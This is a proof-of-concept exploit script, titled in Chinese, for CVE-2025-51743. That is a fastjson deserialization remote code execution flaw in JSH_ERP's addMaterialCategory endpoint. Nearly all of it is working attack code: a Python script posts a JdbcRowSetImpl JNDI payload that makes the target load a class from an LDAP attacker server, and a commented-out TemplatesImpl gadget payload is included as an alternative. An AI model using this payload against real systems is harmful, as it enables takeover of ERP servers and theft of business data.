CVE-2025-51743 JSH_ERP fastjson反序列化远程代码执行漏洞

import requests import json # CVE-2025-51743 PoC - JSH_ERP fastjson deserialization RCE # Target: JSH_ERP /materialCategory/addMaterialCategory endpoint target_url = "http://target-server:8080/materialCategory/addMaterialCategory" # Malicious fastjson payload for JNDI injection # This payload exploits fastjson deserialization to trigger RCE via JNDI lookup payload = { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker-server:1389/Exploit", "autoCommit": True } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } print("[*] Sending CVE-2025-51743 exploit payload...") print(f"[*] Target: {target_url}") print(f"[*] Payload: {json.dumps(payload)}") try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative payload using TemplatesImpl # payload2 = { # "@type": "com.alibaba.fastjson.parser.ParserConfig", # "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", # "_bytecodes": ["base64_encoded_malicious_class"], # "_name": "poc", # "_tfactory": {}, # "_outputProperties": {} # }